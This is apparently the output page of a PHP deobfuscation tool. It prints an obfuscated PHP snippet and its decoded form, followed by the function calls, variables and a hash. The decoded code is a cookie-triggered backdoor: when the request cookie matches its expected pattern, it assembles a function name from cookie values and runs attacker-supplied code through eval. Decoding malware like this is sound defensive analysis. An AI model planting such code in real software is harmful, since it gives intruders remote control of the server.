Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a = "ge\164\164\171\160e";$x = "cou" ."nt";$fxs = "g\145\164e\156v";$g = "u\162\154..

Decoded Output download

<?php $a = "gettype";$x = "cou" ."nt";$fxs = "getenv";$g = "urldecode";$mkp = "explode";$c=$fxs("HTTP_COOKIE");$ihn=$mkp(";",$c);$c = array();$_SERVER["DOCUMENT_ROOT"] = str_replace($_SERVER["PHP_SELF"],"",$_SERVER["SCRIPT_FILENAME"]);foreach($ihn as $wp){$xkj=$mkp("=",$wp);$c[$xkj[0]]=$g($xkj[1]);}($x($c)==22&&in_array($a($c).$x($c),$c))?(($c[56]=$c[56].$c[11])&&($c[40]=$c[56]($c[40]))&&eval($c[56]($c[69]))):$c;?>

Did this file decode correctly?

Original Code

<?php $a = "ge\164\164\171\160e";$x = "cou" ."nt";$fxs = "g\145\164e\156v";$g = "u\162\154\144\145\143o\144e";$mkp = "explode";$c=$fxs("HT\124P_COOKIE");$ihn=$mkp(";",$c);$c = array();$_SERVER["DO\103\125\115E\116\124\137R\117OT"] = str_replace($_SERVER["PHP_SELF"],"",$_SERVER["S\103R\111\120\124\137\106I\114\105\116AME"]);foreach($ihn as $wp){$xkj=$mkp("=",$wp);$c[$xkj[0]]=$g($xkj[1]);}($x($c)==22&&in_array($a($c).$x($c),$c))?(($c[56]=$c[56].$c[11])&&($c[40]=$c[56]($c[40]))&&eval($c[56]($c[69]))):$c;?>

Function Calls

getenv 1

Variables

$a gettype
$g urldecode
$x count
$fxs getenv
$mkp explode

Stats

MD5 a74fa2caa7441097163cb0e7f9489983
Eval Count 0
Decode Time 148 ms